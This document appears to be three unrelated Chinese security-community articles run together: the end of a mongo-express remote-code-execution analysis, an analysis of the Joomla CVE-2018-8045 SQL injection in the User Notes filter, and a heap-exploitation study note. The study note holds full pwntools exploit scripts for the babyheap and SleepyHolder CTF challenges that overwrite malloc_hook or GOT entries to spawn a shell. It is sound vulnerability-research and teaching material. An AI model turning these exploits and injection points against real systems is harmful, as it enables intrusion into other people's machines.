接着看文件`express-mongo/node_modules/mongo-express/lib/router.js`，根据`config.useBasicAuth`的值绑定一个`basicAuth`中间键，如果初始启动程序的时候没有-u/-p参数，则获取配置文件的username&password(默认为admin:pass)来进行绑定
这里假设我们启动程序的时候默认不传入-u/-p，则步入`basicAuth`函数。这里定义了两个全局变量`username`&`password`，来存储配置文件的用户名密码。
module.exports = function basicAuth(callback, realm) {
var username, password;
// user / pass strings
if ('string' == typeof callback) {
username = callback;
password = realm;
if ('string' != typeof password) throw new Error('password argument required');
realm = arguments[2];
callback = function(user, pass){
return user == username && pass == password;
}
}
realm = realm || 'Authorization Required';
return function(req, res, next) {
var authorization = req.headers.authorization;
if (req.user) return next();
if (!authorization) return unauthorized(res, realm);
var parts = authorization.split(' ');
if (parts.length !== 2) return next(error(400));
var scheme = parts[0]
, credentials = new Buffer(parts[1], 'base64').toString()
, index = credentials.indexOf(':');
if ('Basic' != scheme || index < 0) return next(error(400));
var user = credentials.slice(0, index)
, pass = credentials.slice(index + 1);
// async
if (callback.length >= 3) {
callback(user, pass, function(err, user){
if (err || !user) return unauthorized(res, realm);
req.user = req.remoteUser = user;
next();
});
// sync
} else {
if (callback(user, pass)) {
req.user = req.remoteUser = user;
next();
} else {
unauthorized(res, realm);
}
}
}
};
在这之后的所有请求则必须都要有`req.headers.authorization`，来与全局变量`username`&`password`比对进行认证，否则返回Unauthorized。
所以要想不进入`basicAuth`函数，只需要`config.useBasicAuth = false`
## cli启动-未授权
在mongo-express中还有一种启动方式，即用命令行传递参数。
由于poc中，用docker拉的mongodb默认是未授权的形式，所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能是未授权，所以我觉得以cli+参数启动服务的场景应该算是多见吧。
那么如果受害者指定了用户名&密码去启动express-mongo，那么攻击者直接未授权就可以打(即不需要指定authoriza header)
不过在官方文档中给出了一句话:
You can use the following environment variables to modify the container's configuration
因为config.default.js默认会从环境变量中加载mongodb的用户名&密码，这样无需参数就能启动服务，也顺便避免了未授权的问题
# 官方修复
<https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2>
在0.54.0中将bson.js中的vm依赖删除，改用`mongo-query-parser` | 社区文章 |
作者：绿盟科技
来源：<http://blog.nsfocus.net/cve-2018-804-analysis/>
#### CVE-2018-8045 漏洞简介
漏洞具体情况可参见[绿盟科技安全威胁周报-201812周](http://blog.nsfocus.net/nsfocus-201812/
"绿盟科技安全威胁周报-201812周")
Joomla! Core SQL注入漏洞：
NSFOCUS ID：39158
CVE ID：CVE-2018-8045
受影响版本：Joomla! Joomla! 3.5.0-3.8.5
漏洞点评：Joomla是一套网站内容管理系统,使用PHP语言和MySQL数据库开发。Joomla! 3.5.0
-3.8.5版本对SQL语句内的变量缺少类型转换，导致User Notes列表视图内SQL注
入漏洞，可使攻击者访问或修改数据等。目前厂商已经发布了升级补丁，修复了这个 安全问题，请用户及时到厂商的主页下载。
#### CVE-2018-8045 漏洞详情
我们先看下joomla官网怎么说的：
<https://developer.joomla.org/security-centre/723-20180301-core-sqli-vulnerability.html>
User Notes模块由于缺少变量类型转换，导致sql注入的产生。这个漏洞在3.8.6版本被解决。
漏洞介绍很模糊，单从介绍来看，根本不知道这个sql注入产生的位置。
但是既然是3.8.6版本解决的，那我们就来从3.8.6版本的update包中找找思路。
如下是github上joomla的releases列表
<https://github.com/joomla/joomla-cms/releases>
找到Update from Joomla!
3.8.5升级包下载，打开下载好的升级包，根据notes这个线索搜索下。果然，在升级包中看到了一个notes.php文件。
我们回到github上，看下这个notes.php改动了什么。
很明显，升级包中的notes.php中，对$categoryId的值进行了限制，强制转换为int类型，可以确定，这个漏洞就出在这里。
在这里说个题外话，notes.php中getState方法出现过很多次，分别有
* getState(‘filter.search’)
* getState(‘filter.published’)
* getState(‘filter.category_id’)
* getState(‘filter.user_id’)
* getState(‘filter.level’)
但是唯有getState(‘filter.category_id’)方法没有进行(int)类型转换，存在着漏洞隐患，这可能是开发者一时的疏忽吧。
#### CVE-2018-8045 漏洞分析
来看下存在漏洞的代码：
// Filter by a single or group of categories.
$categoryId = $this->getState('filter.category_id');
if ($categoryId && is_scalar($categoryId))
{
$query->where('a.catid = ' . $categoryId);
}
$categoryId未经过滤直接拼接sql语句进行查询，造成了sql注入。
但是$categoryId参数如何控制呢？
存在漏洞的文件位于\administrator\components\com_users\models\notes.php，是一个joomla的模型文件，它的控制器是\administrator\components\com_users\controllers\notes.php
我们登录joomla后台来看一下在哪里触发这个漏洞。
访问[http://xxx/joomla/administrator/index.php?option=com_users&view=notes](http://xxx/joomla/administrator/index.php?option=com_users&view=notes)
即可触发该控制器。
但是如何控制$categoryId参数呢？如果只访问
[http://xxx/joomla/administrator/index.php?option=com_users&view=notes](http://xxx/joomla/administrator/index.php?option=com_users&view=notes)
只会向服务器发送一个get请求，请求中根本不包含我们想要的categoryId参数
先看下出问题的这行代码
$categoryId = $this->getState('filter.category_id');
从getState(‘filter.category_id’)不难看出来，它的作用是一个过滤器，用来选择category_id的
因此想向它传参，一定和高级搜索之类功能的有关。
选择Search Tools选项 Select Category选项。
此时joomla的发包情况
此时我们需要的filter[category_id]参数出现在了post参数中，通过这个参数的值，即可畅通无阻的进行注入。
下面验证下这个filter[category_id]参部分可以直接传递给后台的$categoryId参数
我们修改了filter[category_id]参数内容为’kingsguard_test’，并发包
后台下断点，抓取categoryId参数，并拼接sql语句进行查询。
#### 利用验证
#### 漏洞修复
升级joomla至最新版本
* * * | 社区文章 |
# How2Heap堆利用学习笔记（二）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
概述：上一篇，我们介绍了一种Double free技术。并且实现了对malloc_hook的fastbin_attack。
这次将介绍如何利用malloc中的consolidate机制来实现double free。本文会涉及一些源代码，如有解释错误，恳请各位大神指正。
## 0x01 利用consolidate的Double Free
### 1.1 fastbin_dup_consolidate分析
首先分析一下案例代码
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%pn", p1, p2);
fprintf(stderr, "Now free p1!n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%pn", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %pn", malloc(0x40), malloc(0x40));
}
编译程序时时加-g参数，动态调试中可以同步源码进行分析。
### 1.2流程分析
程序首先malloc分配了两个0x40的内存p1和p2,然后free掉chunk_p1,小于64的chunkp1会被链入fastbins中。
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000051
0x602010: 0x0000000000000000 0x0000000000000000 <--chunk_p1
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000051
0x602060: 0x0000000000000000 0x0000000000000000 <--chunk_p2
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000020f61
查看快表,可以看到被释放的chunk_p1
gef➤ heap bins fast
─────[ Fastbins for arena 0x7ffff7dd1b20 ]─────
Fastbin[3] → UsedChunk(addr=0x602010,size=0x50)
执行分配0x400内存，此时看fastbin，发现chunk_p1已经被从快表中卸下了。而我们在small bins中找到了它。
gef➤ heap bins fast
────[ Fastbins for arena 0x7ffff7dd1b20 ]───
Fastbin[0] 0x00
Fastbin[1] 0x00
Fastbin[2] 0x00
Fastbin[3] 0x00
gef➤ heap bins small
───[ Small Bins for arena 'main_arena' ]────
[+] Found base for bin(4): fw=0x602000, bk=0x602000
→ FreeChunk(addr=0x602010,size=0x50)
glibc在分配large chunk(>1024字节)时，首先操作是判断fast
bins是否包含chunk。如果包含，则使用malloc_consolidate函数将fastbin中的chunk合并，并放入unsortbins。根据大小放入small
bins/large bins。
让我通过glibc源码进行阅读分析
，FTP[下载地址](https://ftp.gnu.org/gnu/glibc/),malloc的实现在/malloc/malloc.c
malloc.c在1055行分别定义了malloc free realloc函数
static void* _int_malloc(mstate, size_t);
static void _int_free(mstate, mchunkptr, int);
static void* _int_realloc(mstate, mchunkptr, INTERNAL_SIZE_T,
INTERNAL_SIZE_T);
在_int_malloc的Define下找到触发consolidate的代码部分。
首先通过have_fastchunks判断fastbins是否链有空闲堆。
have_fastchunks的宏定义即为判断fastbin中是否包含chunk，flag为0的时候说明存在chunk。
#define have_fastchunks(M) (((M)->flags & FASTCHUNKS_BIT) == 0)
如果包含chunk，将会调用consolidate来合并fastbins中的chunk，并将这些空闲的chunk加入unsorted bin中。
本案例触发consolidate的源码
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
malloc_consolidate部分的源码
static void malloc_consolidate(mstate av)
{
/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/
//判断fastbins是否存在chunks
if (get_max_fast () != 0) {
clear_fastchunks(av); //将fastchunk的flag标志设置为0
unsorted_bin = unsorted_chunks(av); //获取unsorted_bin指针
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
maxfb = &fastbin (av, NFASTBINS - 1); //获取fastbin链的末尾作为限位器
fb = &fastbin (av, 0); //当前fastbin链的地址
do {
p = atomic_exchange_acq (fb, 0);//不太懂这一句，希望有大佬能解答
//遍历fastbins，直到遍历结束
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;
/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);
//将fastbin合并的chunk添加到链接到unsorted_bin的链中
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);
}
//如果fastbin为空
else {
malloc_init_state(av);
check_malloc_state(av);
}
}
想了解Glibc具体如何实现的，非常安利华庭大佬写的《glibc内存管理》，讲解的非常详细，看完一定会有收获。
继续我们的程序分析，目前我们已经将chunk_p1放入了small_bins中。
此时free(p1)并不会触发double free检测。看下面的图，就能很容易能明白原因。
P1默认会被释放到fast bins，而同时之前的P1也被释放在smallbins中，程序并没有对此做出检测。
最后两次malloc(0x40)第一次从fastbins中获取了chunk_p1的地址，第二次从small_bins中获取了相同的地址。完成了一次double
free。
0x6020a0: 0x0000000000000000 0x0000000000000411
gef➤ x/20 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000051
0x602010: 0x0000000000000000 0x00007ffff7dd1bb8 <-- chunk_p4,chunk_p5(old_chunk_p1)
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000050 0x0000000000000051<--chunk_p2
### 1.3小结
结合上一篇文章，目前我们已经掌握两种针对fastbins的double free技巧做个总结.
1.在两次free中间，free另一块相同size的内存，绕过检测在fastbins中释放两次同一块chunk。一般可以结合fastbin_attack.
2.利用consolidate机制，分别在fastbins和bins(small/large)中free同一个chunk。一般结合unlink技术实现任意地址写。
下面会给出两个针对性案例进行分析
## 0x02 案例分析：
### 2.1 0ctf 2017 babyheap
概述：经典的fastbin_attack题型，首先要实现地址泄露，然后通过覆写malloc_hook获取shell
**2.1.1逆向分析**
因为之前做的题都是有源码的，这题会逆向分析的详细一些，有基础的师傅可以跳过这一段。
程序开头是堆题的基本操作，。我们都知道内存分配后的指针是不会保存在本地，而是全部由用户进行保存和使用。通过调用sub_B70()函数，程序为了能让用户通过index来确定内存空间地址，开辟的空间是用于存放一数组（实际上应该是结构体），用于存放申请内存空间的指针。根据每次通过输入index操作内存，24LL
* index + a1每个结构体的大小应为24字节。
之后就是喜闻乐见的switch case菜单题，分别代表了Allocate分配、 Fill写入、 Free释放、
Dump输出。虽然有所封装，但是几乎可以无视了。值得注意的是使用calloc分配内存，在分配之前会将该内存中的数据清零。
漏洞出在Fill，Fill不会限制写入字节，于是会导致堆溢出。
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70();
while ( 1 )
{
sub_CF4(a1, a2);
sub_138C();
switch ( (unsigned __int64)off_14F4 )
{
case 1uLL:
a1 = (__int64)v4;
Allocate((__int64)v4);
break;
case 2uLL:
a1 = (__int64)v4;
Fill(v4);
break;
case 3uLL:
a1 = (__int64)v4;
Free((__int64)v4);
break;
case 4uLL:
a1 = (__int64)v4;
Dump(v4);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}
查看保护机制，PIE也开启了（不过必须与ASLR共同开启才能产生作用），也就是说程序段的地址也会偏移。所以需要注意，
gef➤ checksec
[+] checksec for '/home/p0kerface/Documents/Lab/0ctfbabyheap'
Canary : Yes → value: 0x6d01c8ace13dec00
NX : Yes
PIE : Yes
Fortify : No
RelRO : Full
**2.1.2利用思路**
1.利用的地址泄露来获取libc的基地址。通过获取free的chunk中的unsorted bin地址（main_arena在libc的data段）。
2.通过fastbin_attack覆写malloc_hook（通过偏移可以计算出）
0.Leak Base
因为程序开启了ASLR和PIE，虽然其实这对堆利用影响不大，但是对我们攻击的地址，比如malloc_hook的地址会产生影响。所以我们需要将Libc的地址泄露出来。
利用思路主要参考大佬写的[文章](https://blog.csdn.net/qq_29343201/article/details/66476135)。
利用的是利用chunk_0堆溢出覆写chunk_1,的size（0x40扩大到0x60）,然后释放后重新申请，欺骗程序这块内存地址为0x60。这样chunk_1就能dump
chunk_2的内容了。
然后释放chunk_2,chunk2的FD和BK便是指向unsorted bins的指针。DUMP就能获取基地址。
def leak():
#leak
Alloc(0x60) #index 0
Alloc(0x40) #index 1
payload="a"*0x60
payload+=p64(0)+p64(0x71) #Chunk ->size
Fill(0,payload)
Alloc(0x80) #index 2
Alloc(0x10) #index 3 ,to avoid chunk_2 merge into top_chunk
#Bk_NextSize=0x71, to avoid "free(): invalid next size (fast)"
payload=p64(0)*3
payload+=p64(0x71) #Chunk2->BK_nextsize
Fill(2,payload)
Free(1)
Alloc(0x60) #index 1
#Fix smallChunk
payload="a"*0x40
payload+=p64(0)+p64(0x91) #Chunk ->size
Fill(1,payload)
Free(2)
Dump(1)
p.recv(82)
leak_address=u64(p.recv(8))
print "leak stirngs=>"+hex(leak_address)
#Free(0) #for debug
return leak_address
成功leak时候的内存空间
gef➤ x/50xg 0x561043fcd010-0x10
0x561043fcd000: 0x0000000000000000 0x0000000000000071 <--chunk_0
0x561043fcd010: 0x0000000000000000 0x6161616161616161
0x561043fcd020: 0x6161616161616161 0x6161616161616161
0x561043fcd030: 0x6161616161616161 0x6161616161616161
0x561043fcd040: 0x6161616161616161 0x6161616161616161
0x561043fcd050: 0x6161616161616161 0x6161616161616161
0x561043fcd060: 0x6161616161616161 0x6161616161616161
0x561043fcd070: 0x0000000000000000 0x0000000000000071 <-chunk_1
0x561043fcd080: 0x6161616161616161 0x6161616161616161
0x561043fcd090: 0x6161616161616161 0x6161616161616161
0x561043fcd0a0: 0x6161616161616161 0x6161616161616161
0x561043fcd0b0: 0x6161616161616161 0x6161616161616161
0x561043fcd0c0: 0x0000000000000000 0x0000000000000091 <-chunk_2
0x561043fcd0d0: 0x00007fd34f48bb78 0x00007fd34f48bb78 <- unsorted bins [leak]
0x561043fcd0e0: 0x0000000000000000 0x0000000000000071 <-bk_next_size
0x561043fcd0f0: 0x0000000000000000 0x0000000000000000
0x561043fcd100: 0x0000000000000000 0x0000000000000000
0x561043fcd110: 0x0000000000000000 0x0000000000000000
0x561043fcd120: 0x0000000000000000 0x0000000000000000
0x561043fcd130: 0x0000000000000000 0x0000000000000000
0x561043fcd140: 0x0000000000000000 0x0000000000000000
0x561043fcd150: 0x0000000000000090 0x0000000000000020
0x561043fcd160: 0x0000000000000000 0x0000000000000000
0x561043fcd170: 0x0000000000000000 0x0000000000020e91 <--top chunk
1.Fastbin_attack
相比Libc Address部分的有些复杂，这部分就比较中规中矩了，都是上一篇文章讲的东西。通过覆写chunk的fastbin链来达到任意地址写的目的。
Leak的公式:
泄露的地址-（unsortbin的偏移地址）=libc的基地址
然后利用Fastbin_attack覆写malloc_hook地址
通过vmmap可以计算出，unsorted bins距离libc的偏移地址为 0x3c4b78
下图，计算出的地址与vmmap出的结果相同。
完整利用脚本
from pwn import *
p=process("./0ctfbabyheap")
gdb.attach(p)
context.log_level = "debug"
def Alloc(size):
p.recvuntil("Command:")
p.sendline(str(1))
p.recvuntil("Size:")
p.sendline(str(size))
def Fill(index,strings):
p.recvuntil("Command:")
p.sendline(str(2))
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Size:")
print len(strings)
p.sendline(str(len(strings)))
p.recvuntil("Content:")
p.sendline(str(strings))
def Free(index):
p.recvuntil("Command:")
p.sendline(str(3))
p.recvuntil("Index:")
p.sendline(str(index))
def Dump(index):
p.recvuntil("Command:")
p.sendline(str(4))
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content:")
def leak():
#leak
Alloc(0x60) #index 0
Alloc(0x40) #index 1
payload="a"*0x60
payload+=p64(0)+p64(0x71) #Chunk ->size
Fill(0,payload)
Alloc(0x80) #index 2
Alloc(0x10) #index 3 ,to avoid chunk_2 merge into top_chunk
#Bk_NextSize=0x71, to avoid "free(): invalid next size (fast)"
payload=p64(0)*3
payload+=p64(0x71) #Chunk2->BK_nextsize
Fill(2,payload)
Free(1)
Alloc(0x60) #index 1
#Fix smallChunk
payload="a"*0x40
payload+=p64(0)+p64(0x91) #Chunk ->size
Fill(1,payload)
Free(2)
Dump(1)
p.recv(82)
leak_address=u64(p.recv(8))
print "[+]leak stirngs=>"+hex(leak_address)
#Free(0) #for debug
return leak_address
def Attack(base):
malloc_hook=0x3C4B10-35+base
print "[+]malloc_hook => "+hex(malloc_hook)
one_gadget=base+0x4526a
print "[+]one_gadget => "+hex(one_gadget)
Alloc(0x60) #index 2
Alloc(0x60) #index 4
Alloc(0x60) #index 5
Free(5)
Free(4)#fastbin ->chunk_5->chunk_4
#Fill(2,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
Fill(2,"A"*(0x160-0xd0+0x18)+p64(0x71)+p64(malloc_hook)) #fastbin ->chunk_5->malloc_hook-35
Alloc(0x60)#index 4
Alloc(0x60)#index 5 =>malloc_hook-35
Fill(5,"A"*(35-16)+p64(one_gadget))
Alloc(0x10)#get shell
leak_address=leak()
base=leak_address-0x3c4b78
print "[+]Libc Base Address =>"+hex(base)
Attack(base)
p.interactive()
**2.1.3一些注意事项**
在做题目前期碰到的一些问题与解决方案
1.Chunk无法释放到unsorted bins的问题
释放一个small chunk，然后这个chunk的FD和BK便是指向libc某地址的指针（unsroted
bins），就可以leak地址了。但是需要注意的是，并不是所有时候，chunk都会被释放到bins上。
例如
Alloc(0x10) #index 0
Allocc(0x80) #index 1
Free(1)
当我free一个small_chunk，发现它并没有被free到unsort bins（也没有到small
bins中），原因在_int_free函数中如此描述，如果释放的内存与top_chunk相邻（且不是fastbin），会被直接合并到top_chunk。之前一直忽略了这个性质。
解决方案很简单，在small_chunk之后再申请一个chunk就行，把它与top_chunk隔开就行。
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
2.在释放chunksize被修改的Chunk_1时,报错invalid next size (fast)，即对next size的检查报错。
在程序Free一块内存的时候，会做如下检查。如果下一个chunk的bk next
chunk（nextchunk偏移24字节）不正确，则会阻止Free过程。源码如下。
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
查看chunk的结构体，发现bk_nextsize在头部(fd)偏移3个位，64位系统就是24个字节。
所以也就有了
#Bk_NextSize=0x71, to avoid "free(): invalid next size (fast)"
payload=p64(0)*3
payload+=p64(0x71) #Chunk2->BK_nextsize
Fill(2,payload)
Malloc结构如下
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
### 2.2 案例分析2
SleepyHolder
概述：Hitcon2016年首创的一种利用手法，使用consolidate机制产生Double Free条件，然后结合unlink实现got表覆盖。
[下载链接](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder)
[参考思路](https://blog.csdn.net/qq_33528164/article/details/80040197)
**2.2.1利用细节:**
1.程序存在一个悬挂指针的问题，就是Free之后会清零标志位，但是不会删除指针。为Double Free提供了条件。
switch(choice)
{
case 1:
free(f_ptr);//释放内存，没有删除指针f_ptr
f_flag = 0;//清楚标志位
break;
case 2:
free(s_ptr);
s_flag = 0;
break;
}
2.每种内存只能申请一次，除非释放，三种内存又分别fast bins(small)、small bins、large
bins都无法相互影响。并且只能写入一次。不能为fastbin的Double Free创造条件。也就引出了这次的利用手法。
3.因为内存指针ptr都是全局变量，PIE又没开启，所以指针都位置是固定。本案例汇总f_ptr的地址就为0x6020d0
全局指针定义
char *s_ptr;
char *f_ptr;
char *q_ptr;
**2.2.2利用思路:**
1.首先申请small和large各一块内存。释放small内存，其会被释放到fastbins.
释放huge内存，触发consolidate将fastbin内存整合到small bins,再次释放small。实现double free。
#Double Free
Add(1,"AAAAAA")
Add(2,"BBBBBB")
Free(1) #将small chunk放入fastbins
Add(3,"CCCCCC") #将small chunk放入small bins ，并且设置inuse为free
Free(1) #double free
此时small同时被fastbins和small bins链接。
2.重新申请内存small，会从fastbin中取下来。此时small的inuse标志位依旧是0（consolidate会将标志为设置为Free，而fastbin的操作都不会影响标志位）这样就能在small中构造伪堆。释放large，触发unlink。
unlink参考 <http://www.mamicode.com/info-detail-1670578.html>
#Unlink
p_ptr=0x6020d0
fakechunk=p64(0)+p64(0x21)
fakechunk+=p64(p_ptr-0x18)+p64(p_ptr-0x10)
fakechunk+=p64(0x20)#for check
Add(1,fakechunk)
Free(2) #释放large内存，如果检查前一个堆块为free，则会触发Unlink合并堆块。
触发unlink的代码
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
Free chunks结构
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long)
gef➤ x/10gx 0x11b2da0-0x10
0x11b2d90: 0x0000000000000000 0x0000000000000031
0x11b2da0: 0x0000000000000000 0x00007fe12672db98 <-f_ptr
0x11b2db0: 0x0000000000000000 0x0000000000000000
构造fake_chunk
gef➤ x/10gx 0x11b2da0-0x10
0x11b2d90: 0x0000000000000000 0x0000000000000031
0x11b2da0: 0x0000000000000000 0x0000000000000021 <-f_ptr
0x11b2db0: 0x00000000006020B8<-FD 0x00000000006020C0<-BK <-fake_chunk
0x11b2dc0: 0x0000000000000020 <-Next_size 0x0000000000000fb0
设置FD=0x6020d0-0x18 BK=0x6020d0-0x10
为了绕过检查if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
FD->bk即FD偏移3x机器位(0x8) BK->fd即BK偏移 2x机器位(0x8)
所以将FD和BK的位置埋在f_ptr（存放指针P）前的位置就能绕过检查。
检查之后，程序执行Unlink操作
FD->bk = BK; (BK=0x6020c0)
BK->fd = FD; (FD=0x6020b8)
实际上，FD->bk和BK->fd指向同一个地址，那就是全局指针f_ptr的地址。
执行unlink之前
gef➤ x/10gx 0x6020d0-0x20
0x6020b0 <stdout>: 0x00007fe12672e620 0x0000000000000000 <-FD
0x6020c0: 0x00000000011b2dd0 <-BK 0x00007fe1268dd010
0x6020d0: 0x00000000011b2da0 <-&f_ptr 0x0000000100000001
执行unlink之后
gef➤ x/20gx 0x6020d0-0x20
0x6020b0 <stdout>: 0x00007f62589b2620 0x0000000000000000
0x6020c0: 0x000000000072b3e0 0x00007f6258b61010
0x6020d0: 0x00000000006020b8 <-new&f_ptr 0x0000000100000000
所以此时我们修改了f_ptr为0x6020b0，还拥有对这块内存对可写权限。
3.此时通过向small堆块写数据，就可以修改指向small
chunk的全局指针f_ptr（存放于0x6020d0）。之后就是比较套路对操作了，将指针修改到got表，将free_got修改为system。
**2.2.3完整的EXP**
from pwn import *
p=process("./SleepyHolder")
context.log_level = 'debug'
gdb.attach(p)
elf=ELF("./SleepyHolder")
def Add(size,secret): #Small:1 Big:2 Huge:3
p.recvuntil("Renew secret")
p.sendline(str(1))
p.recvuntil("want to keep?")
p.sendline(str(size))
p.recvuntil("Tell me your secret:")
p.sendline(secret)
def Free(size):
p.recvuntil("Renew secret")
p.sendline(str(2))
p.recvuntil("Big secretn")
p.sendline(str(size))
def Renew(size,secret):
p.recvuntil("Renew secret")
p.sendline(str(3))
p.recvuntil("Which Secret do you want to renew?")
p.sendline(str(size))
p.recvuntil("Tell me your secret:")
p.send(secret) #not sendline
#Double Free
Add(1,"AAAAAA")
Add(2,"BBBBBB")
Free(1)
Add(3,"CCCCCC")
Free(1)
#Unlink
p_ptr=0x6020d0
fakechunk=p64(0)+p64(0x21)
fakechunk+=p64(p_ptr-0x18)+p64(p_ptr-0x10)
fakechunk+=p64(0x20)#for check
Add(1,fakechunk)
Free(2) #-> Unlink
#Leak
got_free=elf.got['free']
got_puts=elf.got['puts']
plt_puts=elf.plt['puts']
got_atoi=elf.got['atoi']
print "got_puts="+hex(got_puts)
print "plt_puts="+hex(plt_puts)
payload=p64(0)+p64(got_puts) #s_ptr->got_puts
payload+=p64(got_puts)+p64(got_free) #p_ptr->got_free
payload+=p64(0x1)*3
Renew(1,payload)
payload=p64(plt_puts) #free->puts
Renew(1,payload)
Free(2) #free(s_ptr)->puts(s_ptr->puts_address)
puts_address=u64(p.recv(6).ljust(8,"x00"))
print "[+]puts_address="+hex(puts_address)
#get shell
system_offset=0x45390
puts_offset=0x6f690
base=puts_address-puts_offset
system_addr=base+system_offset
print "[+]system_addr="+hex(system_addr)
payload=p64(system_addr)
Renew(1,payload)
Add(2,"/bin/bash")
Free(2)
p.interactive()
### 2.3小结
以上的两个案例都不是使用一种技术就能解决的问题，都是需要多种技术组合才能拿到shell。例如案例一的关键点在于chunk大小的伪造，实现堆溢出导致fastbin_attack,而案例二使用consolidate机制制造double
free，还需要结合unlink才能成功利用。
解题能力最终还要回归到自己对堆机制的理解和对漏洞的感觉。
**笔记**
Leak地址的方法 1.got表（前提：PIE关闭）2.free_chunk中的FD/BK
Unlink绕过检查机制，需要利用一个全局指针
## 参考文献：
[0] Glibc-2.23源码
[1] [Anciety](https://me.csdn.net/qq_29343201).0ctf 2017 babyheap writeup.
[https://blog.csdn.net/qq_29343201/article/details/66476135[OL/DB],2017-03-26](https://blog.csdn.net/qq_29343201/article/details/66476135%5BOL/DB%5D,2017-03-26)
[2]华庭(庄明强).《glibc内存管理ptmalloc2源代码分析》2011-4-17
[3]0x9A82.[Hitcon 2016
Pwn赛题学习](https://www.cnblogs.com/Ox9A82/p/6766261.html)<https://www.cnblogs.com/Ox9A82/p/6766261.html>
[4]0x2l.堆利用之unlink小结.<https://bbs.pediy.com/thread-253502.htm>
附录：
